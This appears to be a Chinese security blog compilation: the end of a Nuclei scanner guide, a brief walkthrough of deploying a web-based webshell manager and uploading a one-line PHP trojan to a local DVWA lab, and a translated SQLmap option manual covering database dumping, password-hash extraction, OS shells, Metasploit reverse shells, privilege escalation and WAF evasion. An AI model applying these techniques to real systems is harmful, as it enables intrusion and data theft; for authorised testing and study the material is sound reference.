全局速率限制如果你想快速扫描或者控制扫描，请使用这些标志并输入限制数，速率限制只保证控制传出的请求，与其他参数无关。排除模板Nuclei模板包含多种检查，其中有许多对攻击有用的检查，但并不是都有用的。如果您只希望扫描少数特定的模板或目录，则可以使用如下的参数筛选模板，或将某些模板排除。排除模板运行我们不建议同时运行所有的 nuclei 模板，如果要排除模板，可以使用exclude参数来排除特定的目录或模板。nuclei -l urls.txt -t nuclei-templates -exclude panels/ -exclude technologies -exclude files/wp-xmlrpc.yaml注意：如上述示例中显示的那样，目录和特定模板都将不会扫描基于严重性运行模板您可以根据模板的严重性运行模板，扫描时可以选择单个严重性或多个严重性。nuclei -l urls.txt -t cves/ -severity critical,medium上面的例子将运行cves目录下所有严重和中等的模板。nuclei -l urls.txt -t panels/ -t technologies -severity info上面的例子将运行panels和technologies目录下严重性标记为info的模板使用.nuclei-ignore文件排除模板自从 nuclei 的v2.1.1版本以来，我们添加了对.nuclei-ignore文件的支持，该文件与update-templates参数一起使用，在 .nuclei-ignore 文件中，您可以定义要从 nuclei 扫描中排除的所有模板目录或者模板路径，要开始使用此功能，请确保使用nuclei-update-templates参数安装 nuclei 模板，现在可以根据.nuclei-ignore的文件来添加、更新、删除模板文件。nano ~/nuclei-templates/.nuclei-ignore默认的nuclei 忽略列表可以访问这里，如果不想排除任何内容，只需要删除.nuclei-ignore文件。? 笔记进度条是实验性功能，在某些情况下可能无法使用。进度条不适用于工作流，因为是条件执行，所以不准确。致谢也要看看这些类似的好项目，或许它们也适合你：Burp Suite, FFuF, Jaeles, Qsfuzz, Inception, Snallygaster, Gofingerprint, Sn1per, Google tsunami, ChopChopNuclei是由projectdiscovery团队用♥制作的，当然社区也贡献了很多，通过 Thanks.md文件以获取更多详细信息。
中国菜刀WEB版前几天在GitHub看到了一个中国菜刀WEB版，觉得挺有趣的(๑•̀ㅂ•́)و✧然后自己尝试搭建了一下，但是根据我在社交媒体上的观察，这个WEB版存在XSS漏洞，所以没办法搭在公网，只能在本地环境试一试了安装从该Github地址clone源码到本地git clone https://github.com/MoLeft/WebKnife.git使用宝塔一键建站，将源码直接上传即可 使用打开dvwa，使用上传模块，上传php文件，发现漏洞存在 上传一句话木马 在连接管理中输入文件上传的网址和密码 点击文件管理，选择刚才输入的连接，即可进行文件管理 点击虚拟终端，选择连接，即可进行命令执行 在终端中执行whoami命令
SQLmap命令手册注意，该手册适用于1.41版本以下的SQLmap本文所有内容均从SQLmap官方wiki翻译完成，并对各个参数进行了测试，保证可以正确使用What is SQLmap?What can do？判断可注入的参数判断使用哪种技术注入识别数据库根据选择读取数据库中的数据5种注入模式基于bool的盲注基于时间的盲注基于报错的注入联合查询注入堆叠查询注入支持的数据库MySQLOraclePostgreSQLMSSQLMS AccessIBM DB2SQLliteFirebirdSybaseSAP MaxDBHSQLDBInformix基础命令python sqlmap.py -参数1 目标 -参数2帮助参数1. -h或--help显示基本帮助信息并推出用法：python sqlmap.py -h2. -hh显示高级帮助信息并退出用法：python sqlmap.py -hh3. --version显示程序版本信息并退出python sqlmap.py --version4. -v观察SQLmap如何进行注入以及读取数据的用法：python sqlmap.py -v 等级(默认为1)等级(共7级)0只显示python错误以及严重的信息1同时显示基本信息和警告信息2同时显示debug信息3同时显示注入的payload4同时显示HTTP请求5同时显示HTTP响应头6同时显示HTTP相应页面必须参数至少存在一个必须参数-u或--url指定URL用法：python sqlmap.py -u http://127.0.0.1/?id=1-d直接连接数据库用法：python sqlmap.py -d "mysql://user:password@ip:port/数据库名称"-l从Burp或者WebScarab代理日志文件中来解析目标用法：python sqlmap.py -l 日志文件-m从文件中批量加载URL，一行一个URL用法：python sqlmap.py -m 文件-r从文本文件中获取HTTP请求，常用于POST提交，以及设置UA、Cookie等用法：python sqlmap.py -r 文件文本文件例子：POST /abc Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) id=1-g测试注入Google搜索结果中的GET参数(前100个结果)用法：python sqlmap.py -g "inurl:\".php?id=1\""-c从配置ini文件中加载选项用法：python sqlmap.py -c ini配置文件具体配置可以参照SQLmap文件夹中的SQLmap.conf请求参数这些选项可用于指定如何连接到目标URL-A或者--user-agent指定URL的UA当-level设置为3或者更高时，SQLmap会检测UA是否存在注入用法：python sqlmap.py 必须参数 -A UA-H或者--headers指定额外的HTTP头用法：python sqlmap.py 必须参数 -H HEADER--method强制使用给定的HTTP方法用法：python sqlmap.py 必须参数 --method=方法一般HTTP方法有：GET 请求指定的页面信息，并返回实体主体HEAD 类似于GET请求，只不过返回的相应中没有具体的内容，用于获取报头POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。PUT 从客户端向服务器传送的数据取代指定的文档的内容DELETE 请求服务器删除指定的页面CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。OPTIONS 允许客户端查看服务器的性能TRACE 回显服务器收到的请求，主要用于测试或者诊断PATCH 是对PUT方法的补充，用来对已知资源进行局部更细。--data通过POST发送数据参数用法：python sqlmap.py 必须参数 --data=数据参数--param-del指定发送数据中拆分参数值的字符用法：python sqlmap.py 必须参数 --param-del=字符例：python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"--cookie指定cookie当-level设置为2或者更高时，SQLmap会检测cookie是否存在注入用法：python sqlmap.py 必须参数 --cookie="dasfc23cdf4ffdsda1"--cookie-del指定cookie中拆分参数值的字符(与--param-del类似)用法：python sqlmap.py 必须参数 --cookie-del="&"--load-cookies从文件中载入Netscape或wget格式的cookie用法：python sqlmap.py 必须参数 --load-cookies=文件--drop-set-cookie忽略响应头中设置的cookie用法：python sqlmap.py 必须参数 --drop-set-cookie--random-agent使用随机的UA用法：python sqlmap.py 必须参数 --random-agent--host指定HTTP头中的Host值当-level设置为5或者更高时，SQLmap会检测Host是否存在注入用法：python sqlmap.py 必须参数 --host="HOST指定值"--referer指定HTTP请求头中的referer,SQLmap发送的HTTP请求默认无referer当-level设置为3或者更高时，SQLmap会检测referer是否存在注入用法：python sqlmap.py 必须参数 --referer REFERER--auth-type指定认证方式支持以下身份认证方式BasicDigestNTLMPKI用法：python sqlmap.py 必须参数 --auth-type Basic 其他auth认证参数--auth-cred指定认证的用户名密码用法：python sqlmap.py 必须参数 --auth-type Basic --auth-cred "用户名:密码"--auth-file指定HTTP身份认证的PEM证书、私钥文件用法：python sqlmap.py 必须参数 --auth-file="文件或链接"--ignore-code忽略HTTP错误代码用法：python sqlmap.py 必须参数 --ignore-错误代码--ignore-proxy忽略系统默认的代理用法：python sqlmap.py 必须参数 --ignore-proxy--ignore-redirects忽略重定向用法：python sqlmap.py 必须参数 --ignore-redirects--ignore-timeouts忽略超时用法：python sqlmap.py 必须参数 --ignore-timeouts--proxy设置一个HTTP代理连接目标URL用法：python sqlmap.py 必须参数 --proxy="http\https\socks4\socks5://address:port"--proxy-cred为代理设置认证信息用法：python sqlmap.py 必须参数 --proxy="http\https\socks4\sockes5://address:port" --proxy-cred=用户名:密码--proxy-file从文件加载代理用法：python sqlmap.py 必须参数 --proxy-file=文件--tor使用tor网络用法：python sqlmap.py 必须参数 --tor 其他tor参数--tor-port指定tor的端口用法：python sqlmap.py 必须参数 --tor --tor-port 端口--tor-type设置tor的类型HTTPSOCKS4SOCKS5(默认)用法：python sqlmap.py 必须参数 --tor --tor-type=SOCKS5--check-tor检查是否使用了tor用法：python sqlmap.py 必须参数 --tor 其他tor参数 --check-tor此参数会保证所有流量走tor，若tor代理失效，SQLmap会发出警告并退出--delay为HTTP请求之间设置延迟，以秒为单位，默认无延迟用法：python sqlmap.py 必须参数 --delay=1--timeout设置超时等待时间，以秒为单位，默认30秒超时用法：python sqlmap.py 必须参数 --timeout 20--retries超时重试次数，默认为3次用法：python sqlmap.py 必须参数 --retries 4--randomize随机生成HTTP请求中参数的值，值的类型和长度依照于原始值用法：python sqlmap.py 必须参数 --randomize="HTTP参数"--safe-url每隔一段时间访问一个安全\不错误的连接用法：python sqlmap.py 必须参数 --safe-url="安全\不错误的URL" 其他safe参数--safe-post访问安全\不错误连接时使用指定POST数据用法：python sqlmap.py 必须参数 --safe-post POST数据--safe-req从文件加载安全\不错误的HTTP请求用法：python sqlmap.py 必须参数 --safe-req 文件--safe-freq每隔几次测试请求之后都会访问安全URL用法：python sqlmap.py 必须参数 --safe-url="安全\不错误的URL" --safe-freq=3使用safe-url必须使用safe-freq--skip-urlencode对payload跳过URL编码用法：python sqlmap.py 必须参数 --skip-urlencode因为有些网站不遵守RFC标准编码，所以需要跳过URL编码--csrf-token指定csrf-token的值用法：python sqlmap.py 必须参数 --csrf-token=token参数--csrf-url指定csrf-token的url值用法：python sqlmap.py 必须参数 --csrf-url=URL参数--force-ssl强制使用SSL\HTTPS用法：python sqlmap.py 必须参数 --force-ssl--hpp使用HTTP参数污染用法：python sqlmap.py 必须参数 --hppHTTP参数污染是绕过WAF/IPS/IDS的一种技术，针对ASP/ISS/(ASP.NET/ISS)平台尤其有效--eval在每次请求前执行指定python代码用法：python sqlmap.py 必须参数 --eval="python代码"某些时候，需要根据某个参数的变化来修改另一个参数才能形成正常请求，所以需要用python代码根据该参数来计算出另一个参数的值优化参数这些选项可以用来优化SQLmap的性能-o打开所有的优化开关(即--predict-output，--keep-alive，--null-connection)用法：python sqlmap.py 必须参数 -o--predict-output预测常见的查询输出用法：python sqlmap.py 必须参数 --predict-output预设一个表，然后提交给服务器，根据返回值判断，类似暴力破解，但是每次破解都会缩小范围。--keep-alive保持HTTP(S)长连接用法：python sqlmap.py 必须参数 --kepp-alive性能好，避免重复建立链接，占用服务器资源。与--proxy不兼容--null-connection只检索HTTP相应页大的长度，不检索实际内容(常用于盲注)python sqlmap.py 必须参数 --null-connection--threads多线程，默认为1，最大为10**与--predict-output不兼容用法：python sqlmap.py 必须参数 --threads=3注入参数这些可选参数用于指定要测试的参数，提供定制的注入payload和可选的篡改脚本-p给出需要测试的参数用法：python sqlmap.py 必须参数 -p "user-agent"--skip排除指定参数用法：python sqlmap.py 必须参数 --skip="user-agent"--skip-static跳过非动态参数进行测试，即不检测固定参数用法：python sqlmap.py 必须参数 --skip-static--param-exclude使用正则表达式排除某些参数用法：python sqlmap.py 必须参数 --param-exclude=正则--dbms指定目标数据库类型、版本用法：python sqlmap.py 必须参数 --dbms="mysql<版本>"--dbms-cred指定数据库的用户名密码用法：python sqlmap.py 必须参数 --dbms-cred="用户名:密码"--os指定目标数据库的操作系统用法：python sqlmap.py 必须参数 --os="Windows"--invalid-bignum使用大数字使参数失效，通常SQLmap会使用负数使参数失效用法：python sqlmap.py 必须参数 --invalid-bignum--invalid-logical使用逻辑使参数失效，如id=1 and 1=2用法：python sqlmap.py 必须参数 --invalid-logical--invalid-string使用随机字符使参数失效用法：python sqlmap.py 必须参数 --invalid-string--no-cast在提取数据库数据时，将所有结果转换为字符串，并且空格替换NULL结果(老版本MySql需要使用此参数)用法：python sqlmap.py 必须参数 --no-cast--no-escape不使用char替换字符串功能出于混淆和避免出错的目的，如果payload使用单引号界定字符串，SQLmap使用char()编码逃避的方法替换字符串用法：python sqlmap.py 必须参数 --no-escape--prefix指定payload的闭合语句的前缀用法：python sqlmp.py 必须参数 --prefix="前缀"--sufix指定payload的闭合语句的后缀用法：python sqlmap.py 必须参数 --sufix="后缀"--tamper使用混淆脚本，用来绕过WAF/IPS/应用过滤层用法：python sqlmap.py 必须参数 --tamper="脚本文件"探测参数自定义在SQL盲注时如何解析和比较HTTP相应页面的内容--level指定检测等级(1~5，默认为1)可以在sqlmap/xml/payloads文件内可以看到各个level发送的payload各个level的检测数据默认cookieuser-agentrefererhost用法：python sqlmap.py 必须参数 --level=3--risk指定风险等级(1~3，默认为1)，升高风险等级会增加数据被篡改的风险各个风险等级检测类型默认基于时间的SQL注入基于or的SQL注入用法：python sqlmap.py 必须参数 --risk=2--string在基于bool注入时，指定判断真假的字符串(常用于返回页面不固定时)用法：python sqlmap.py 必须参数 --string="字符串"--not-string在基于bool注入时，指定没出现的字符串判断真假，与--string相反用法：python sqlmap.py 必须参数 --not-string="字符串"--regexp在基于bool注入时，根据正则表达式来判断真假，与--not-string和--string可以连用用法：python sqlmap.py 必须参数 --regexp="正则表达式"--code在基于bool注入时，通过指定HTTP返回码来判断真假用法：python sqlmap.py 必须参数 --code=200--text-only在bool注入时，通过文本内容判断真假用法：python sqlmap.py 必须参数 --text-only--titles在bool注入时，通过标题判断真假用法：python sqlmap.py 必须参数 --titles技巧参数这些参数可以用来调整SQL注入的测试技术--technique指定使用的SQL注入技术，默认为BEUSTQ指定的技术如下：B：bool盲注E：报错注入U：联合查询注入S：堆叠注入T：时间盲注Q：内联查询注入用法：python sqlmap.py 必须参数 --technique=BU--time-sec在时间盲注中，指定判断的时间，单位为秒，默认为5用法：python sqlmap.py 必要参数 --time-sec=3--union-cols联合注入的尝试列数，随level增加最多支持50列，默认查询1-10列用法：python sqlmap.py 必要参数 --time-cols 5-7--union-char在联合注入中，默认使用的占列的值是NULL，但是有时候NULL会失效，所以需要手动指定一个其他的占列值。用法：python sqlmap.py 必要参数 --union-char=1--union-from在有些数据库中，必须指定一个有效且可访问的表，否则联合查询就会失败，所以必须使用该参数指定一个表用法：python sqlmap.py 必须参数 --union-from=表名--dns-domain如果控制了一台DNS服务器，则可以使用该命令做DNS泄露攻击，通过攻击，可以在DNS的访问日志里得到查询的数据用法：python sqlmap.py 必须参数 --dns-domain注意！DBMS中需要有可用的，能直接或间接引发DNS解析过程的程序，即用到UNC1，其中引发DNS解析过程的函数有：MSSQLmaster..xp_dirtree(用于获取所有文件夹的列表和给定文件内部的子文件夹)master..xp_fileexit(用于确定一个特定的文件是否存在于硬盘)master..xp_subdirs(用于得到给定的文件夹内的文件夹列表)OracleGET_HOST_ADDRESS(用于检索特定主机的IP)UTL_HTTP.REQUEST(从给定的地址检索到第1~2000字节的数据)MySqlload_file(读取文件内容并将其作为字符串返回)PostgreSQLCOPY(用于在文件系统的文件和表之间拷贝数据)--second-url搜索二阶相应的结果页面的URL，即在一个页面注入，在另外一个页面显示，适合GET提交，POST提交需要下一个参数用法：python sqlmap.py 必须参数 --second-url="另一个页面地址"--second-req与上一个相同，只是从文件加载HTTP请求用法：python sqlmap.py 必须参数 --second-req="请求的文件地址"指纹参数-f或--fingerprint获取更广泛的DBMS操作系统、架构、补丁等信息用法：python sqlmap.py 必须参数 -f枚举参数下列这些选项可以用于枚举数据库的系统信息、表的结构和数据，此外还可以执行自定义的SQL语句-a或--all查找所有的信息，即枚举中所有的信息用法：python sqlmap.py 必须参数 -a-b或--banner查询数据库的标识，即数据库类型与版本用法：python sqlmap.py 必须参数 -b--current-user查询数据库的当前用户用法：python sqlmap.py 必须参数 --current-user--current-db查询数据库中当前使用的数据库用法：python sqlmap.py 必须参数 --current-db--hostname查询数据库中当前的主机名用法：python sqlmap.py 必须参数 --hostname--is-dba检测当前的数据库用户是否为DBA(即数据库管理员)用法：python sqlmap.py 必须参数 --is-dba--users枚举所有用户用法：python sqlmap.py 必须参数 --users--passwords枚举所有用户名密码的哈希用法：python sqlmap.py 必须参数 --passwords--privileges枚举所有数据库用户的权限用法：python sqlmap.py 必须参数 --privileges枚举某一数据库用户权限，用法：python sqlmap.py 必须参数 --privileges -U username枚举数据库当前用户权限，用法：python sqlmap.py 必须参数 --privileges -CU如果是MSSQL，则只会列出用户是否为管理员而不是用户的具体权限--roles枚举数据库中的用户角色只要在Oracle数据库中可以用，其余数据库返回--privileges的数据用法：python sqlmap.py 必须参数 --roles其余用法同--privileges--dbs枚举服务器中所有的数据库用法：python sqlmap.py 必须参数 --dbs--tables枚举数据库中的所有表名用法：python sqlmap.py 必须参数 --tables--columns枚举数据库中的所有列名用法：python sqlmap.py 必须参数 --columns--schema查询数据库架构，即每个列的类型，如：id是int类型，name是varchar(255)类型用法：python sqlmap.py 必须参数 --schema--count枚举每个表所包含的数据量用法：python sqlmap.py 必须参数 --count--dump查询指定范围的全部数据用法：python sqlmap.py 必须参数 --dump 其他参数该处的其他参数通常指-D、-T、-C、-X、-U、--start、--stop、first、--last、--pivot-column、--where，这些参数均在后面有相应介绍--dump-all枚举数据库中全部数据用法：python sqlmap.py 必须参数 --dump-all--search搜索数据库、表、列的名称用法：python sqlmap.py 必须参数 --search 其他参数其他参数为-C、-T、-D，这些参数均在后面有相应介绍--comments搜索数据库的备份用法：python sqlmap.py 必须参数 --comments-D指定枚举的数据库名用法：python sqlmap.py 必须参数 -D 数据库名-T指定枚举的表名用法：pyton sqlmap.py 必须参数 -T 表名通常情况下需先指定数据库-C指定枚举的列名用法：python sqlmap.py 必须参数 -C 列名通常情况下需先指定数据库和表名-X不枚举数据库中的某一列用法：python sqlmap.py 必须参数 -X 标识符如图：未使用-X 使用-X -U指定用户名，常和--privileges一起使用用法：python sqlmap.py 必须参数 --privileges -U 指定的用户名其中，使用-CU表示当前账户--exclude-sysdbs与-X类似，此为排除某个数据库用法：python sqlmap.py 必须参数 --exclude-sysdbs 数据库名--pivot-colum做数据透视用的，估计平时也很少用的上。因为可能自动选择的列不适合做数据透视，所以可以使用该参数强制指定一列。用的：python sqlmap.py 必须参数 --pivot-cloum--where使用-dump下载数据时，可以使用该参数限制条件用法：python sqlmap.py 必须参数 --where=限制条件--start设置一个起始位置，在下载表时，从第几行开始用法：python sqlmap.py 必须参数 --start=3-stop设置一个结束位置，作用同上用法：python sqlmap.py 必须参数 --stop=4--first和--last此参数仅使用SQL盲注根据官方的说法时可以将某一列的字符转储到另一列，但是根据我的尝试并没有成功。用法：python sqlmap.py 必须参数 --first=2 --last=4--sql-query执行SQL语句用法：python sqlmap.py 必须参数 --sql-query=SQL语句--sql-shell执行SQL的shell用法：python sqlmap.py 必须参数 --sql-shell=shell语句--sql-file从给定的文件中读取SQL语句来执行用法：python sqlmap.py 必须参数 --sql-file=文件目录暴力破解参数下列选项可以用于暴力破解--common-tables检查记录信息的公共表。用法：python sqlmap.py 必须参数 --common-tables在以下这些情况中，不能使用-tables检索数据库的列名，需要使用该参数：MySQL版本小于5.0数据库是Access会话用户对数据库的系统表没有读取权限--common-columns检查公共的列。用法：pyhton sqlmap.py 必须参数 --common-columns在以下这些情况中，不能使用-columns检索数据库的列名，需要使用该参数：MySQL版本小于5.0数据库是Access会话用户对数据库的系统表没有读取权限自定义函数注入参数这些选项可以创建自定义的函数用来注入--udf-inject通过编译MySQL、PostgreSQL的共享库、DLL和共享对象来注入自定义函数(UDFs)用法：python sqlmap.py 必须参数 --udf-inject=文件路径用法：python sqlmap.py 必须参数 --shared-lib=文件路径仅适用于MySQL和PostgreSQL详情参见链接文件系统访问参数这些选项可用于访问数据库系统中的文件--file-read从数据库系统中读取文件用法：python sqlmap.py 必须参数 --file-read=文件路径--file-write对数据库系统写入文件用法：python sqlmap.py 必须参数 --file-write=文件路径--file-dest写入文件到数据库系统的绝对路径用法：python sqlmap.py 必须参数 --file-dest=文件路径操作系统访问参数这些选项可以用于访问后端数据库管理的操作系统--os-cmd执行系统命令用法：python sqlmap.py 必须参数 --os-cmd=命令--os-shell创建一个shell用法：python sqlmap.py 必须参数 --os-shell--os-pwn可以用来反弹msf下的shell和vnc用法：python sqlmap.py 必须参数 --os-pwn--os-smbrelay获取OOB shell，反弹msf下的shell和vnc用法：python sqlmap.py 必须参数 --os-smbrelay--os-bof利用缓冲区漏洞用法：python sqlmap.py 必须参数 --os-bof--priv-esc自动提权用法：python sqlmap.py 必须参数 --priv-esc--msf-path输入本地的msf路径用法：python sqlmap.py 必须参数 --msf-path=本地msf路径--tmp-path输入远程临时文件目录的绝对路径。用法：python sqlmap.py 必须参数 --tmp-path=临时文件绝对路径Windows注册表访问参数这些选项可以用于访问使用Windows系统的数据库中Windows注册表前三个参数必须选择一个，后四个参数任选--reg-read读取Windows注册表用法：python sqlmap.py 必须参数 --reg-readreg-add写入一个Windows注册表用法：python sqlmap.py 必须参数 --reg-add--reg-del删除一个Windows注册表用法：python sqlmap.py 必须参数 --reg-del--reg-key表示Windows注册表的key值用法：python sqlmap.py 必须参数 前三个参数 --reg-key=key值--reg-value表示注册表值用法：python sqlmap.py 必须参数 前三个参数 --reg-value=值--reg-data表示注册表数据用法：python sqlmap.py 必须参数 前三个参数 --reg-data=数据--reg-type表示注册表类型用法：python sqlmap.py 必须参数 前三个参数 --reg-type=类型其他参数1这些选项可以用于设置一些常规工作参数-s从一个.sqlite文件中加载session用法：python sqlmap.py 必须参数 -s SESSION文件-t将所有HTTP流量记录到文本文件中用法：python sqlmap.py 必须参数 -t 文本文件保存位置--answers设置预设答案用法：python sqlmap.py 必须参数 --answers=答案在执行sqlmap可能会多次询问选择，所以可以提前设置--base64设置包含base64数据编码的数据用法：python sqlmap.py 必须参数 --base64=需要base64编码的HTTP参数--batch永远使用默认设置，不询问用户用法：python sqlmap.py 必须参数 --batch--binary-fields如果表中具有储存的二进制值的列，可以使用该参数进行正确的处理，所有的这些字段将被检索，并用十六进制显示。用法：python sqlmap.py 必须参数 --binary-fields=使用二进制的列--check-internet在进行注入前，首先检测互联网是否可以访问用法：python sqlmap.py 必须参数 --check-internet--crawl从目标网址开始抓取网站的深度用法：python sqlmap.py 必须参数 --crawl=深度层数--crawl-exclude使用正则表达式排除不需要爬取的网页用法：python sqlmap.py 必须参数 --crawl-exclude=正则表达式--csv-del设置CSV格式的分隔符，默认使用逗号作为分隔符用法：python sqlmap.py 必须参数 --csv-del=","--charset设置盲注的字符集用法：python sqlmap.py 必须参数 --charset=字符集在基于布尔和时间的盲注SQL注入中，用户可以强制使用自定义字符集来加快数据检索过程。--dump-format设置转储数据格式，默认为CSV，可选HTML、SQLite用法：python sqlmap.py 必须参数 --dump-format=html或者sqlite或者csv--encoding设置编码，如：GBK或者utf-8用法：python sqlmap.py 必须参数 --encoding=GBK--eta显示每个输出的估计时间用法：python sqlmap.py 必须参数 --eta--flush-session刷新当前目标的session用法：pyhton sqlmap.py 必须参数 --flush-session--forms解析在目标URL中存在的表单，通常这些表单在HTML中都是用 和 标记的用法：python sqlmap.py 必须参数 --forms--fresh-queries忽略储存在session中的查询结果，通过该参数，可以保持session保持不变。用法：python sqlmap.py 必须参数 --fresh-queries--har将所有的HTTP流量记录到一个har文件中用法：python sqlmap.py 必须参数 --har--hex在数据检索期间使用十六进制转换用法：python sqlmap.py 必须参数 --hex--output-dir自定义输出目录用法：pyhton sqlmap.py 必须参数 --output-dir=输出目录路径--parse-errors解析错误解析，并显示来自数据库的错误消息用法：python sqlmap.py 必须参数 --parse-errors--preprocess使用给定的脚本对请求数据进行预处理用法：python sqlmap.py 必须参数 --preprocess=脚本路径使用该参数可以在发送请求前对请求数据使用自定义脚本，例如将参数附加到POST请求中。--postprocess使用给定的脚本对响应数据进行预处理用法：python sqlmap.py 必须参数 --postprocess=脚本路径使用该参数可以在收到响应后对响应数据使用自定义脚本，例如将所有小写字符转换为大写--repair修复具有未知字符标记的项用法：python sqlmap.py 必须参数 --repair--save保存现在的选项到ini配置文件中用法：pyhton sqlmap.py 必须参数 --save=配置文件.conf可以使用-c来读取这些ini配置文件--scope使用正则表达式从burp的日志中过滤所需要的主机用法：python sqlmap.py 必须参数 --scope="正则表达式"例如：python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"--test-filter通过某些有效载荷或标题进行测试用法：python sqlmap.py 必须参数 --test-filter=有效载荷或标题使用包含某个关键词的payload进行检测--test-skip跳过某些有效载荷或标题进行测试用法：python sqlmap.py 必须参数 --test-skip=想跳过的有效载荷或标题--update升级SQLmap用法：python sqlmap.py --update其他参数2-z助记符，只要能确定唯一的参数，那么就可以缩写参数用法：python sqlmap.py 必须参数 -z "缩写参数"例子：python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\1"，其中，bat指--batch，randoma指random-agent，ign指ignore-proxy，tec-BEU指--technique=BEU--alert当发现SQL注入后，运行本机的CMD命令用法：python sqlmap.py 必须参数 --alert "命令"只在Linux环境下成功过--beep当发现SQL注入后，蜂鸣器报警用法：python sqlmap.py 必须参数 --beep--cleanup从SQLmap创建的临时表和自定义函数常用于测试结束后用法：python sqlmap.py 必须参数 --cleanup--dependencies检查缺少的SQLmap依赖的第三方库常用于检测SQLmap必须的第三方依赖python库用法：python sqlmap.py --dependencies--disable-coloring关闭彩色输出用法：python sqlmap.py --disable-coloring--gpage指定来自某一页码的Google dork结果，常与-g一起使用用法：python sqlmap.py -g 参数 --gpage=12--identify-waf识别WAF、IPS、IDS等用法：python sqlmap.py 必须参数 --identity-waf--list-tampers列出所有本地绕WAF的规则用法：python sqlmap.py --list-tampers--mobile模拟智能手机的UA用法：python sqlmap.py 必须参数 --mobile--offline在脱机模式下运行，只在当前或以前的数据，不会对服务端进行连接用法：python sqlmap.py 必须参数 --offline--purge安全删除SQLmap数据目录中的所有内容，即删除本地SQLmap测试的所有数据和历史记录用法：python sqlmap.py --purge安全删除意味着对该目录进行随机数据覆盖，破坏数据，防止恢复--skip-waf跳过WAF、IPS、IDS的扫描检测用法：pyhton sqlmap.py 必须参数 --skip-waf--smart如果只是为了找出批量检测中的SQL注入，使用该参数进行启发式扫描，只有让数据库报错的参数才会进一步测试，其余跳过常与-m一起使用用法：python sqlmap.py -m 参数 --smart--sqlmap-shell使用该参数，可以打开一个交互式的SQLmap SHELL，支持历史记录用法：python sqlmap.py --sqlmap-shell--tmp-dir更改本地临时文件储存目录用法：python sqlmap.py --tmp-dir=本地目录--web-root指定Web服务器的文档根目录用法：python sqlmap.py 必须参数 --web-root="根目录绝对路径"--wizard面向初学者的简单向导界面用法：python sqlmap.py --wizard该参数使用简单的工作流程，问题尽可能的少，只要输入了URL，那么在工作流结束时，也会设置一个正确的SQLmap运行环境UNC只有Windows系统有 ↩